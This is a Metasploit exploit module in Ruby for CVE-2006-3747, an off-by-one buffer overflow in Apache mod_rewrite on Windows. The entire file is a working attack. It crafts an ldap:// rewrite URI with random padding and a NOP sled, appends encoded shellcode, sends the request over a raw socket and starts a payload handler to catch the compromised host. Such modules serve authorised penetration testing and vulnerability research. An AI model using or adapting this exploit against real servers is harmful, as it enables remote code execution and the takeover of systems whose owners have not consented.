require 'msf/core'

module Msf

class Exploits::Windows::Http::Apache_mod_rewrite < Msf::Exploit::Remote

	include Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Apache Mod_Rewrite escape_absolute_uri() Off-By-One Buffer Overflow',
			'Description'    => %q{
				This module exploits a off-by-one buffer overflow. RewriteRule must be enabled and rule must meets this criteria:
				*  beginning of the rewritten URL is controlled.
				*  flags on the rule do not include the Forbidden (F), Gone (G), or NoEscape (NE) flag
			},
			'Author'         => [ 'Marcin Kozlowski' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 0001 $',
			'References'     =>
				[
					['CVE', '2006-3747'],
					['BID', '19204'],
					['OSVDB', '27588'],

				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'BadChars'    => "\x00",
					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
					'DisableNops' => true,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
						['Apache 1.3 branch (>1.3.28 and <1.3.37), Apache 2.0 branch (2.0.46 and <2.0.59), Apache 2.2 branch (>2.2.0 and <2.2.3)', {'Ret' => 0x90909090 }], # our ret is NOP, since our shellcode is shortly after and will be execute next 
				],
			'DisclosureDate' => 'Aug 28 2006'))
			
			register_options(
				[
					OptString.new('REWRITEPATH', [true, "Rewrite path"]),
					Opt::RPORT(80) 
				], self.class )
	end

	def exploit
		connect

		rewritepath = datastore['REWRITEPATH']


		uri = "/#{rewritepath}/ldap://"+rand_text_alphanumeric(rand(16))+"/"+rand_text_alphanumeric(rand(32))+"%3f"+rand_text_alphanumeric(rand(8))+"%3f"+rand_text_alphanumeric(rand(8))+"%3f"+rand_text_alphanumeric(rand(16))+"%3f"+rand_text_alphanumeric(rand(8))+"%3f%90"	
		uri += payload.encoded
		
		
		res = "GET #{uri} HTTP/1.0\r\n\r\n"
		print_status("Trying ...")
		sock.put(res)
		sock.close
		
		handler
		disconnect
	end



end
end